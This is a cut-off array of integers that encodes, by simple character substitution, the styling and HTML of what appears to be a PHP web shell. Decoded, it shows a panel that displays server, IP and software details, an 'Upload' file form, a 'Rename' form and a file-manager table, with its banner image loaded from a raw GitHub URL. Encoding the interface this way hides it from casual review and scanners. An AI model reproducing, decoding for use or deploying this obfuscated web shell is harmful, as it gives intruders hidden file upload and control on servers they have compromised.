93, 25, 24, 9, 9, 9, 9, 9, 9, 8, 8, 0, 25, 70, 54, 63, 19, 82, 83, 73, 78, 77, 21, 25, 19, 91, 82, 85, 94, 64, 25, 73, 90, 93, 93, 82, 83, 92, 15, 10, 9, 73, 65, 25, 10, 23, 73, 65, 0, 25, 103, 84, 87, 93, 94, 87, 22, 87, 90, 93, 82, 78, 72, 15, 10, 23, 73, 65, 0, 25, 103, 84, 87, 93, 94, 87, 15, 10, 73, 65, 25, 72, 84, 85, 82, 93, 25, 24, 9, 9, 9, 9, 9, 9, 8, 103, 0, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 24, 10, 91, 10, 93, 23, 8, 0, 25, 88, 84, 85, 84, 87, 15, 24, 94, 94, 94, 0, 25, 86, 82, 83, 22, 76, 82, 93, 77, 81, 15, 9, 0, 25, 70, 54, 63, 54, 63, 19, 77, 90, 103, 85, 94, 22, 76, 87, 90, 73, 64, 25, 76, 82, 93, 77, 81, 15, 10, 9, 9, 30, 0, 25, 84, 75, 94, 87, 91, 85, 84, 76, 15, 90, 78, 77, 84, 25, 70, 54, 63, 77, 90, 103, 85, 94, 64, 25, 76, 82, 93, 77, 81, 15, 10, 9, 9, 30, 0, 25, 103, 84, 87, 93, 94, 87, 22, 88, 84, 85, 85, 90, 73, 72, 94, 15, 72, 94, 73, 90, 87, 90, 77, 94, 0, 25, 103, 84, 87, 93, 94, 87, 22, 72, 73, 90, 88, 82, 83, 92, 15, 9, 0, 25, 70, 54, 63, 77, 81, 94, 90, 93, 25, 77, 81, 64, 25, 77, 94, 65, 77, 22, 90, 85, 82, 92, 83, 15, 85, 94, 91, 77, 0, 25, 91, 84, 83, 77, 22, 76, 94, 82, 92, 81, 77, 15, 12, 9, 9, 0, 25, 73, 90, 93, 93, 82, 83, 92, 15, 10, 13, 73, 65, 25, 10, 13, 73, 65, 0, 25, 91, 84, 83, 77, 22, 72, 82, 79, 94, 15, 10, 13, 73, 65, 0, 25, 73, 84, 72, 82, 77, 82, 84, 83, 15, 72, 77, 82, 88, 80, 66, 0, 25, 77, 84, 73, 15, 9, 0, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 24, 23, 8, 23, 10, 23, 2, 0, 25, 79, 22, 82, 83, 93, 94, 65, 15, 10, 0, 25, 70, 54, 63, 77, 103, 84, 93, 66, 25, 77, 93, 64, 25, 73, 90, 93, 93, 82, 83, 92, 15, 10, 13, 73, 65, 0, 25, 103, 84, 87, 93, 94, 87, 22, 77, 84, 73, 15, 10, 73, 65, 25, 72, 84, 85, 82, 93, 25, 24, 9, 9, 9, 9, 9, 9, 23, 23, 0, 25, 91, 84, 83, 77, 22, 72, 82, 79, 94, 15, 10, 14, 73, 65, 0, 25, 70, 54, 63, 77, 87, 15, 81, 84, 75, 94, 87, 25, 77, 93, 64, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 24, 91, 91, 91, 91, 91, 91, 9, 11, 25, 70, 54, 63, 19, 77, 66, 73, 94, 22, 103, 90, 93, 92, 94, 64, 25, 91, 84, 83, 77, 22, 72, 82, 79, 94, 15, 10, 23, 73, 65, 0, 25, 73, 90, 93, 93, 82, 83, 92, 15, 13, 73, 65, 25, 1, 73, 65, 0, 25, 103, 84, 87, 93, 94, 87, 22, 87, 90, 93, 82, 78, 72, 15, 2, 2, 2, 73, 65, 0, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 24, 91, 91, 91, 91, 91, 91, 10, 13, 0, 25, 103, 84, 87, 93, 94, 87, 15, 10, 73, 65, 25, 72, 84, 85, 82, 93, 25, 24, 9, 9, 9, 9, 9, 9, 8, 8, 0, 25, 70, 54, 63, 19, 83, 90, 86, 94, 64, 25, 93, 82, 72, 73, 85, 90, 66, 15, 91, 85, 94, 65, 0, 25, 90, 85, 82, 92, 83, 22, 82, 77, 94, 86, 72, 15, 88, 94, 83, 77, 94, 87, 0, 25, 92, 90, 73, 15, 10, 9, 73, 65, 0, 25, 86, 82, 83, 22, 76, 82, 93, 77, 81, 15, 23, 9, 9, 73, 65, 0, 25, 70, 54, 63, 19, 82, 88, 84, 83, 64, 25, 76, 82, 93, 77, 81, 15, 23, 1, 73, 65, 0, 25, 81, 94, 82, 92, 81, 77, 15, 23, 1, 73, 65, 0, 25, 103, 84, 87, 93, 94, 87, 22, 87, 90, 93, 82, 78, 72, 15, 1, 73, 65, 0, 25, 93, 82, 72, 73, 85, 90, 66, 15, 92, 87, 82, 93, 0, 25, 73, 85, 90, 88, 94, 22, 82, 77, 94, 86, 72, 15, 88, 94, 83, 77, 94, 87, 0, 25, 91, 84, 83, 77, 22, 72, 82, 79, 94, 15, 10, 13, 73, 65, 0, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 25, 85, 82, 83, 94, 90, 87, 22, 92, 87, 90, 93, 82, 94, 83, 77, 17, 10, 8, 14, 93, 94, 92, 21, 25, 75, 90, 87, 17, 22, 22, 88, 8, 18, 21, 25, 75, 90, 87, 17, 22, 22, 88, 14, 18, 18, 0, 25, 103, 84, 87, 93, 94, 87, 15, 10, 73, 65, 25, 72, 84, 85, 82, 93, 25, 24, 9, 9, 9, 9, 9, 9, 13, 13, 0, 25, 70, 54, 63, 19, 82, 88, 84, 83, 19, 91, 84, 85, 93, 94, 87, 64, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 25, 85, 82, 83, 94, 90, 87, 22, 92, 87, 90, 93, 82, 94, 83, 77, 17, 10, 8, 14, 93, 94, 92, 21, 25, 75, 90, 87, 17, 22, 22, 88, 10, 18, 21, 25, 75, 90, 87, 17, 22, 22, 88, 8, 18, 18, 0, 25, 70, 54, 63, 19, 82, 88, 84, 83, 19, 91, 82, 85, 94, 64, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 25, 85, 82, 83, 94, 90, 87, 22, 92, 87, 90, 93, 82, 94, 83, 77, 17, 10, 8, 14, 93, 94, 92, 21, 25, 75, 90, 87, 17, 22, 22, 88, 13, 18, 21, 25, 75, 90, 87, 17, 22, 22, 88, 23, 18, 18, 0, 25, 70, 54, 63, 19, 87, 84, 76, 22, 90, 88, 77, 82, 84, 83, 72, 64, 25, 93, 82, 72, 73, 85, 90, 66, 15, 91, 85, 94, 65, 0, 25, 92, 90, 73, 15, 1, 73, 65, 0, 25, 70, 54, 63, 19, 87, 84, 76, 22, 90, 88, 77, 82, 84, 83, 72, 25, 19, 103, 77, 83, 64, 25, 73, 90, 93, 93, 82, 83, 92, 15, 11, 73, 65, 25, 10, 9, 73, 65, 0, 25, 103, 84, 87, 93, 94, 87, 22, 87, 90, 93, 82, 78, 72, 15, 10, 9, 73, 65, 0, 25, 91, 84, 83, 77, 22, 72, 82, 79, 94, 15, 10, 8, 73, 65, 25, 70, 54, 63, 19, 87, 84, 76, 22, 90, 88, 77, 82, 84, 83, 72, 25, 19, 103, 77, 83, 19, 93, 90, 83, 92, 94, 87, 64, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 25, 85, 82, 83, 94, 90, 87, 22, 92, 87, 90, 93, 82, 94, 83, 77, 17, 10, 8, 14, 93, 94, 92, 21, 25, 75, 90, 87, 17, 22, 22, 94, 87, 87, 18, 21, 25, 24, 93, 8, 14, 13, 14, 13, 18, 0, 25, 88, 84, 85, 84, 87, 15, 24, 23, 103, 10, 9, 10, 9, 25, 70, 54, 63, 19, 87, 84, 76, 22, 90, 88, 77, 82, 84, 83, 72, 25, 19, 103, 77, 83, 19, 86, 78, 77, 94, 93, 64, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 25, 85, 82, 83, 94, 90, 87, 22, 92, 87, 90, 93, 82, 94, 83, 77, 17, 10, 8, 14, 93, 94, 92, 21, 25, 24, 91, 91, 91, 91, 91, 91, 10, 1, 21, 25, 24, 91, 91, 91, 91, 91, 91, 10, 9, 18, 0, 25, 88, 84, 85, 84, 87, 15, 24, 94, 94, 94, 0, 25, 103, 84, 87, 93, 94, 87, 15, 10, 73, 65, 25, 72, 84, 85, 82, 93, 25, 24, 9, 9, 9, 9, 9, 9, 8, 8, 25, 70, 54, 63, 54, 63, 24, 77, 84, 90, 72, 77, 72, 64, 25, 73, 84, 72, 82, 77, 82, 84, 83, 15, 91, 82, 65, 94, 93, 0, 25, 87, 82, 92, 81, 77, 15, 10, 1, 73, 65, 0, 25, 103, 84, 77, 77, 84, 86, 15, 10, 1, 73, 65, 0, 25, 93, 82, 72, 73, 85, 90, 66, 15, 91, 85, 94, 65, 0, 25, 91, 85, 94, 65, 22, 93, 82, 87, 94, 88, 77, 82, 84, 83, 15, 88, 84, 85, 78, 86, 83, 0, 25, 92, 90, 73, 15, 10, 9, 73, 65, 0, 25, 79, 22, 82, 83, 93, 94, 65, 15, 10, 9, 9, 14, 9, 0, 25, 70, 54, 63, 19, 77, 84, 90, 72, 77, 64, 54, 63, 25, 25, 86, 82, 83, 22, 76, 82, 93, 77, 81, 15, 23, 13, 9, 73, 65, 0, 25, 86, 90, 65, 22, 76, 82, 93, 77, 81, 15, 8, 11, 9, 73, 65, 0, 25, 73, 90, 93, 93, 82, 83, 92, 15, 10, 9, 73, 65, 25, 10, 23, 73, 65, 0, 25, 103, 84, 87, 93, 94, 87, 22, 87, 90, 93, 82, 78, 72, 15, 10, 23, 73, 65, 0, 54, 63, 25, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 24, 23, 23, 10, 91, 23, 11, 0, 25, 103, 84, 87, 93, 94, 87, 15, 10, 73, 65, 25, 72, 84, 85, 82, 93, 25, 24, 9, 9, 9, 9, 9, 9, 13, 13, 0, 25, 103, 84, 65, 22, 72, 81, 90, 93, 84, 76, 15, 25, 75, 90, 87, 17, 22, 22, 72, 81, 90, 93, 84, 76, 18, 0, 54, 63, 25, 25, 88, 84, 85, 84, 87, 15, 24, 94, 94, 94, 0, 25, 93, 82, 72, 73, 85, 90, 66, 15, 91, 85, 94, 65, 0, 25, 90, 85, 82, 92, 83, 22, 82, 77, 94, 86, 72, 15, 88, 94, 83, 77, 94, 87, 0, 25, 92, 90, 73, 15, 10, 9, 73, 65, 0, 25, 90, 83, 82, 86, 90, 77, 82, 84, 83, 15, 25, 72, 85, 82, 93, 94, 82, 83, 25, 19, 23, 72, 25, 94, 90, 72, 94, 22, 84, 78, 77, 0, 54, 63, 70, 54, 63, 19, 77, 84, 90, 72, 77, 19, 84, 80, 64, 25, 103, 84, 87, 93, 94, 87, 22, 88, 84, 85, 84, 87, 15, 24, 23, 90, 11, 10, 13, 11, 0, 25, 70, 54, 63, 19, 77, 84, 90, 72, 77, 19, 94, 87, 87, 64, 25, 103, 84, 87, 93, 94, 87, 22, 88, 84, 85, 84, 87, 15, 24, 11, 11, 8, 23, 8, 23, 0, 25, 70, 54, 63, 19, 77, 84, 90, 72, 77, 19, 76, 90, 87, 83, 64, 25, 103, 84, 87, 93, 94, 87, 22, 88, 84, 85, 84, 87, 15, 24, 11, 90, 14, 90, 23, 90, 0, 25, 70, 54, 63, 19, 77, 84, 90, 72, 77, 25, 19, 93, 84, 77, 64, 25, 76, 82, 93, 77, 81, 15, 10, 9, 73, 65, 0, 25, 81, 94, 82, 92, 81, 77, 15, 10, 9, 73, 65, 0, 25, 103, 84, 87, 93, 94, 87, 22, 87, 90, 93, 82, 78, 72, 15, 2, 2, 2, 73, 65, 0, 25, 70, 54, 63, 19, 77, 84, 90, 72, 77, 19, 84, 80, 25, 19, 93, 84, 77, 64, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 25, 75, 90, 87, 17, 22, 22, 84, 80, 18, 0, 25, 70, 54, 63, 19, 77, 84, 90, 72, 77, 19, 94, 87, 87, 25, 19, 93, 84, 77, 64, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 25, 75, 90, 87, 17, 22, 22, 94, 87, 87, 18, 0, 25, 70, 54, 63, 19, 77, 84, 90, 72, 77, 19, 76, 90, 87, 83, 25, 19, 93, 84, 77, 64, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 25, 75, 90, 87, 17, 22, 22, 76, 90, 87, 83, 18, 0, 25, 70, 54, 63, 121, 80, 94, 66, 91, 87, 90, 86, 94, 72, 25, 72, 85, 82, 93, 94, 82, 83, 25, 64, 25, 91, 87, 84, 86, 64, 25, 77, 87, 90, 83, 72, 91, 84, 87, 86, 15, 77, 87, 90, 83, 72, 85, 90, 77, 94, 98, 17, 1, 73, 65, 18, 0, 25, 84, 73, 90, 88, 82, 77, 66, 15, 9, 25, 70, 25, 77, 84, 64, 25, 77, 87, 90, 83, 72, 91, 84, 87, 86, 15, 77, 87, 90, 83, 72, 85, 90, 77, 94, 98, 17, 9, 18, 0, 25, 84, 73, 90, 88, 82, 77, 66, 15, 10, 25, 70, 25, 70, 54, 63, 54, 63, 24, 94, 93, 82, 77, 84, 87, 118, 84, 93, 90, 85, 64, 25, 73, 84, 72, 82, 77, 82, 84, 83, 15, 91, 82, 65, 94, 93, 0, 25, 82, 83, 72, 94, 77, 15, 9, 0, 25, 93, 82, 72, 73, 85, 90, 66, 15, 83, 84, 83, 94, 0, 25, 90, 85, 82, 92, 83, 22, 82, 77, 94, 86, 72, 15, 88, 94, 83, 77, 94, 87, 0, 25, 95, 78, 72, 77, 82, 91, 66, 22, 88, 84, 83, 77, 94, 83, 77, 15, 88, 94, 83, 77, 94, 87, 0, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 25, 87, 92, 103, 90, 17, 10, 13, 21, 25, 10, 23, 21, 25, 10, 11, 21, 25, 19, 11, 18, 0, 25, 73, 90, 93, 93, 82, 83, 92, 15, 23, 9, 73, 65, 0, 25, 79, 22, 82, 83, 93, 94, 65, 15, 10, 9, 9, 9, 9, 0, 25, 70, 54, 63, 19, 86, 84, 93, 90, 85, 22, 88, 90, 87, 93, 64, 25, 76, 82, 93, 77, 81, 15, 86, 82, 83, 17, 2, 9, 9, 73, 65, 21, 25, 2, 14, 75, 76, 18, 0, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 25, 24, 23, 13, 10, 91, 23, 12, 0, 25, 103, 84, 87, 93, 94, 87, 15, 10, 73, 65, 25, 72, 84, 85, 82, 93, 25, 24, 9, 9, 9, 9, 9, 9, 14, 14, 0, 25, 103, 84, 87, 93, 94, 87, 22, 87, 90, 93, 82, 78, 72, 15, 10, 11, 73, 65, 0, 25, 103, 84, 65, 22, 72, 81, 90, 93, 84, 76, 15, 25, 75, 90, 87, 17, 22, 22, 72, 81, 90, 93, 84, 76, 18, 0, 25, 84, 75, 94, 87, 91, 85, 84, 76, 15, 81, 82, 93, 93, 94, 83, 0, 25, 93, 82, 72, 73, 85, 90, 66, 15, 91, 85, 94, 65, 0, 25, 91, 85, 94, 65, 22, 93, 82, 87, 94, 88, 77, 82, 84, 83, 15, 88, 84, 85, 78, 86, 83, 0, 25, 70, 54, 63, 19, 86, 84, 93, 90, 85, 22, 81, 94, 90, 93, 64, 25, 73, 90, 93, 93, 82, 83, 92, 15, 10, 13, 73, 65, 25, 10, 11, 73, 65, 0, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 25, 85, 82, 83, 94, 90, 87, 22, 92, 87, 90, 93, 82, 94, 83, 77, 17, 10, 8, 14, 93, 94, 92, 21, 25, 75, 90, 87, 17, 22, 22, 88, 14, 18, 21, 25, 75, 90, 87, 17, 22, 22, 88, 10, 18, 18, 0, 25, 93, 82, 72, 73, 85, 90, 66, 15, 91, 85, 94, 65, 0, 25, 90, 85, 82, 92, 83, 22, 82, 77, 94, 86, 72, 15, 88, 94, 83, 77, 94, 87, 0, 25, 95, 78, 72, 77, 82, 91, 66, 22, 88, 84, 83, 77, 94, 83, 77, 15, 72, 73, 90, 88, 94, 22, 103, 94, 77, 76, 94, 94, 83, 0, 25, 92, 90, 73, 15, 1, 73, 65, 0, 25, 70, 54, 63, 19, 86, 84, 93, 90, 85, 22, 77, 82, 77, 85, 94, 64, 91, 84, 83, 77, 22, 76, 94, 82, 92, 81, 77, 15, 12, 9, 9, 70, 54, 63, 19, 86, 84, 93, 90, 85, 22, 103, 84, 93, 66, 64, 25, 73, 90, 93, 93, 82, 83, 92, 15, 10, 23, 73, 65, 25, 70, 54, 63, 19, 86, 84, 93, 90, 85, 22, 90, 88, 77, 82, 84, 83, 72, 64, 25, 73, 90, 93, 93, 82, 83, 92, 15, 10, 23, 73, 65, 0, 25, 93, 82, 72, 73, 85, 90, 66, 15, 91, 85, 94, 65, 0, 25, 92, 90, 73, 15, 1, 73, 65, 0, 25, 95, 78, 72, 77, 82, 91, 66, 22, 88, 84, 83, 77, 94, 83, 77, 15, 91, 85, 94, 65, 22, 94, 83, 93, 0, 25, 103, 84, 87, 93, 94, 87, 22, 77, 84, 73, 15, 10, 73, 65, 25, 72, 84, 85, 82, 93, 25, 24, 9, 9, 9, 9, 9, 9, 8, 8, 0, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 24, 23, 10, 10, 93, 23, 13, 0, 25, 70, 54, 63, 24, 94, 93, 82, 77, 84, 87, 122, 87, 94, 90, 64, 25, 76, 82, 93, 77, 81, 15, 10, 9, 9, 30, 0, 25, 81, 94, 82, 92, 81, 77, 15, 14, 14, 75, 81, 0, 25, 87, 94, 72, 82, 79, 94, 15, 75, 94, 87, 77, 82, 88, 90, 85, 0, 25, 73, 90, 93, 93, 82, 83, 92, 15, 10, 23, 73, 65, 0, 25, 103, 84, 87, 93, 94, 87, 22, 87, 90, 93, 82, 78, 72, 15, 10, 23, 73, 65, 0, 25, 103, 84, 87, 93, 94, 87, 15, 10, 73, 65, 25, 72, 84, 85, 82, 93, 25, 24, 9, 9, 9, 9, 9, 9, 13, 13, 0, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 24, 10, 1, 10, 11, 10, 103, 0, 25, 88, 84, 85, 84, 87, 15, 24, 94, 94, 94, 0, 25, 91, 84, 83, 77, 22, 91, 90, 86, 82, 85, 66, 15, 25, 78, 82, 22, 86, 84, 83, 84, 72, 73, 90, 88, 94, 21, 25, 104, 123, 118, 84, 83, 84, 22, 119, 94, 92, 78, 85, 90, 87, 21, 25, 118, 94, 83, 85, 84, 21, 25, 120, 84, 83, 72, 84, 85, 90, 72, 21, 25, 39, 117, 82, 103, 94, 87, 90, 77, 82, 84, 83, 25, 118, 84, 83, 84, 39, 21, 25, 86, 84, 83, 84, 72, 73, 90, 88, 94, 0, 25, 70, 54, 63, 54, 63, 19, 91, 84, 84, 77, 94, 87, 64, 25, 86, 90, 87, 92, 82, 83, 22, 77, 84, 73, 15, 10, 1, 73, 65, 0, 25, 77, 94, 65, 77, 22, 90, 85, 82, 92, 83, 15, 88, 94, 83, 77, 94, 87, 0, 25, 88, 84, 85, 84, 87, 15, 24, 88, 91, 88, 2, 93, 23, 0, 25, 84, 73, 90, 88, 82, 77, 66, 15, 19, 2, 0, 25, 91, 84, 83, 77, 22, 72, 82, 79, 94, 15, 10, 8, 73, 65, 0, 25, 70, 54, 63, 54, 63, 121, 86, 94, 93, 82, 90, 25, 17, 86, 90, 65, 22, 76, 82, 93, 77, 81, 15, 25, 11, 13, 9, 73, 65, 18, 64, 54, 63, 25, 25, 19, 87, 84, 76, 22, 90, 88, 77, 82, 84, 83, 72, 25, 19, 103, 77, 83, 64, 25, 73, 90, 93, 93, 82, 83, 92, 15, 11, 73, 65, 25, 1, 73, 65, 25, 70, 54, 63, 25, 25, 77, 93, 15, 83, 77, 81, 22, 88, 81, 82, 85, 93, 17, 8, 18, 21, 25, 77, 81, 15, 83, 77, 81, 22, 88, 81, 82, 85, 93, 17, 8, 18, 64, 25, 93, 82, 72, 73, 85, 90, 66, 15, 83, 84, 83, 94, 25, 70, 54, 63, 70, 54, 63, 5, 20, 72, 77, 66, 85, 94, 3, 54, 63, 5, 20, 81, 94, 90, 93, 3, 54, 63, 5, 103, 84, 93, 66, 3, 54, 63, 5, 93, 82, 75, 25, 88, 85, 90, 72, 72, 6, 39, 76, 87, 90, 73, 73, 94, 87, 39, 3, 54, 63, 25, 25, 5, 93, 82, 75, 25, 88, 85, 90, 72, 72, 6, 39, 81, 94, 90, 93, 94, 87, 39, 3, 54, 63, 25, 25, 25, 25, 5, 93, 82, 75, 25, 88, 85, 90, 72, 72, 6, 39, 103, 87, 90, 83, 93, 39, 3, 54, 63, 25, 25, 25, 25, 25, 25, 5, 93, 82, 75, 25, 88, 85, 90, 72, 72, 6, 39, 85, 84, 92, 84, 39, 3, 5, 82, 86, 92, 25, 72, 87, 88, 6, 39, 81, 77, 77, 73, 72, 15, 20, 20, 87, 90, 76, 19, 92, 82, 77, 81, 78, 103, 78, 72, 94, 87, 88, 84, 83, 77, 94, 83, 77, 19, 88, 84, 86, 20, 85, 84, 75, 94, 85, 82, 95, 90, 73, 94, 85, 82, 20, 79, 94, 82, 83, 81, 84, 87, 84, 103, 84, 72, 78, 20, 87, 94, 91, 72, 20, 81, 94, 90, 93, 72, 20, 86, 90, 82, 83, 20, 82, 86, 90, 92, 94, 19, 73, 83, 92, 39, 25, 90, 85, 77, 6, 39, 114, 88, 84, 83, 39, 3, 5, 20, 93, 82, 75, 3, 54, 63, 25, 25, 25, 25, 25, 25, 5, 81, 10, 3, 112, 122, 108, 119, 110, 112, 116, 5, 20, 81, 10, 3, 54, 63, 25, 25, 25, 25, 5, 20, 93, 82, 75, 3, 54, 63, 25, 25, 25, 25, 5, 93, 82, 75, 25, 88, 85, 90, 72, 72, 6, 39, 72, 94, 87, 75, 94, 87, 22, 82, 83, 91, 84, 39, 3, 54, 63, 25, 25, 25, 25, 25, 25, 5, 72, 73, 90, 83, 25, 88, 85, 90, 72, 72, 6, 39, 103, 90, 93, 92, 94, 39, 3, 104, 94, 87, 75, 94, 87, 15, 25, 5, 88, 84, 93, 94, 3, 5, 4, 6, 25, 81, 77, 86, 85, 72, 73, 94, 88, 82, 90, 85, 88, 81, 90, 87, 72, 17, 29, 78, 83, 90, 86, 94, 123, 78, 85, 85, 18, 25, 4, 3, 5, 20, 88, 84, 93, 94, 3, 5, 20, 72, 73, 90, 83, 3, 54, 63, 25, 25, 25, 25, 25, 25, 5, 72, 73, 90, 83, 25, 88, 85, 90, 72, 72, 6, 39, 103, 90, 93, 92, 94, 39, 3, 114, 105, 15, 25, 5, 88, 84, 93, 94, 3, 5, 4, 6, 25, 81, 77, 86, 85, 72, 73, 94, 88, 82, 90, 85, 88, 81, 90, 87, 72, 17, 29, 72, 94, 87, 75, 94, 87, 114, 73, 18, 25, 4, 3, 5, 20, 88, 84, 93, 94, 3, 5, 20, 72, 73, 90, 83, 3, 54, 63, 25, 25, 25, 25, 25, 25, 5, 72, 73, 90, 83, 25, 88, 85, 90, 72, 72, 6, 39, 103, 90, 93, 92, 94, 39, 3, 104, 84, 91, 77, 76, 90, 87, 94, 15, 25, 5, 88, 84, 93, 94, 3, 5, 4, 6, 25, 81, 77, 86, 85, 72, 73, 94, 88, 82, 90, 85, 88, 81, 90, 87, 72, 17, 29, 72, 94, 87, 75, 94, 87, 109, 66, 73, 94, 18, 25, 4, 3, 5, 20, 88, 84, 93, 94, 3, 5, 20, 72, 73, 90, 83, 3, 54, 63, 25, 25, 25, 25, 5, 20, 93, 82, 75, 3, 54, 63, 25, 25, 5, 20, 93, 82, 75, 3, 54, 63, 54, 63, 25, 25, 5, 93, 82, 75, 25, 82, 93, 6, 39, 103, 87, 94, 90, 93, 88, 87, 78, 86, 103, 39, 25, 88, 85, 90, 72, 72, 6, 39, 103, 87, 94, 90, 93, 88, 87, 78, 86, 103, 39, 3, 117, 84, 90, 93, 82, 83, 92, 231, 185, 155, 5, 20, 93, 82, 75, 3, 54, 63, 54, 63, 25, 25, 5, 93, 82, 75, 25, 88, 85, 90, 72, 72, 6, 39, 73, 90, 83, 94, 85, 39, 3, 54, 63, 25, 25, 25, 25, 5, 93, 82, 75, 25, 88, 85, 90, 72, 72, 6, 39, 77, 84, 84, 85, 103, 90, 87, 39, 3, 54, 63, 25, 25, 25, 25, 25, 25, 5, 91, 84, 87, 86, 25, 82, 93, 6, 39, 78, 73, 85, 84, 90, 93, 123, 84, 87, 86, 39, 3, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 5, 82, 83, 73, 78, 77, 25, 77, 66, 73, 94, 6, 39, 91, 82, 85, 94, 39, 25, 82, 93, 6, 39, 91, 82, 85, 94, 114, 83, 73, 78, 77, 39, 25, 88, 85, 90, 72, 72, 6, 39, 91, 82, 85, 94, 39, 25, 86, 78, 85, 77, 82, 73, 85, 94, 25, 20, 3, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 5, 103, 78, 77, 77, 84, 83, 25, 88, 85, 90, 72, 72, 6, 39, 103, 77, 83, 39, 25, 77, 66, 73, 94, 6, 39, 72, 78, 103, 86, 82, 77, 39, 3, 110, 73, 85, 84, 90, 93, 5, 20, 103, 78, 77, 77, 84, 83, 3, 54, 63, 25, 25, 25, 25, 25, 25, 5, 20, 91, 84, 87, 86, 3, 54, 63, 54, 63, 25, 25, 25, 25, 25, 25, 5, 93, 82, 75, 25, 72, 77, 66, 85, 94, 6, 39, 91, 85, 94, 65, 15, 10, 39, 3, 5, 20, 93, 82, 75, 3, 54, 63, 54, 63, 25, 25, 25, 25, 25, 25, 5, 91, 84, 87, 86, 25, 82, 93, 6, 39, 87, 94, 83, 90, 86, 94, 123, 84, 87, 86, 39, 25, 72, 77, 66, 85, 94, 6, 39, 93, 82, 72, 73, 85, 90, 66, 15, 91, 85, 94, 65, 0, 25, 92, 90, 73, 15, 1, 73, 65, 0, 25, 90, 85, 82, 92, 83, 22, 82, 77, 94, 86, 72, 15, 88, 94, 83, 77, 94, 87, 39, 3, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 5, 82, 83, 73, 78, 77, 25, 88, 85, 90, 72, 72, 6, 39, 82, 83, 73, 78, 77, 39, 25, 77, 66, 73, 94, 6, 39, 77, 94, 65, 77, 39, 25, 82, 93, 6, 39, 84, 85, 93, 115, 90, 86, 94, 39, 25, 73, 85, 90, 88, 94, 81, 84, 85, 93, 94, 87, 6, 39, 116, 85, 93, 25, 83, 90, 86, 94, 19, 94, 65, 77, 39, 25, 20, 3, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 5, 72, 73, 90, 83, 3, 231, 187, 183, 5, 20, 72, 73, 90, 83, 3, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 5, 82, 83, 73, 78, 77, 25, 88, 85, 90, 72, 72, 6, 39, 82, 83, 73, 78, 77, 39, 25, 77, 66, 73, 94, 6, 39, 77, 94, 65, 77, 39, 25, 82, 93, 6, 39, 83, 94, 76, 115, 90, 86, 94, 39, 25, 73, 85, 90, 88, 94, 81, 84, 85, 93, 94, 87, 6, 39, 115, 94, 76, 25, 83, 90, 86, 94, 19, 94, 65, 77, 39, 25, 20, 3, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 5, 103, 78, 77, 77, 84, 83, 25, 88, 85, 90, 72, 72, 6, 39, 103, 77, 83, 25, 72, 94, 88, 84, 83, 93, 90, 87, 66, 39, 25, 77, 66, 73, 94, 6, 39, 72, 78, 103, 86, 82, 77, 39, 3, 119, 94, 83, 90, 86, 94, 5, 20, 103, 78, 77, 77, 84, 83, 3, 54, 63, 25, 25, 25, 25, 25, 25, 5, 20, 91, 84, 87, 86, 3, 54, 63, 25, 25, 25, 25, 5, 20, 93, 82, 75, 3, 54, 63, 54, 63, 25, 25, 25, 25, 5, 93, 82, 75, 25, 88, 85, 90, 72, 72, 6, 39, 77, 90, 103, 85, 94, 22, 76, 87, 90, 73, 39, 3, 54, 63, 25, 25, 25, 25, 25, 25, 5, 77, 90, 103, 85, 94, 25, 82, 93, 6, 39, 91, 86, 109, 90, 103, 85, 94, 39, 3, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 5, 77, 81, 94, 90, 93, 3, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 5, 77, 87, 3, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 5, 77, 81, 25, 72, 77, 66, 85, 94, 6, 39, 86, 82, 83, 22, 76, 82, 93, 77, 81, 15, 23, 11, 9, 73, 65, 39, 3, 115, 90, 86, 94, 5, 20, 77, 81, 3, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 5, 77, 81, 3, 109, 66, 73, 94, 5, 20, 77, 81, 3, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 5, 77, 81, 3, 104, 82, 79, 94, 5, 20, 77, 81, 3, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 5, 77, 81, 3, 117, 90, 72, 77, 25, 118, 84, 93, 82, 91, 82, 94, 93, 5, 20, 77, 81, 3, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 5, 77, 81, 3, 122, 88, 77, 82, 84, 83, 72, 5, 20, 77, 81, 3, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 5, 20, 77, 87, 3, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 5, 20, 77, 81, 94, 90, 93, 3, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 5, 77, 103, 84, 93, 66, 25, 82, 93, 6, 39, 91, 86, 7, 84, 93, 66, 39, 3, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 5, 77, 87, 3, 5, 77, 93, 25, 88, 84, 85, 72, 73, 90, 83, 6, 39, 14, 39, 25, 72, 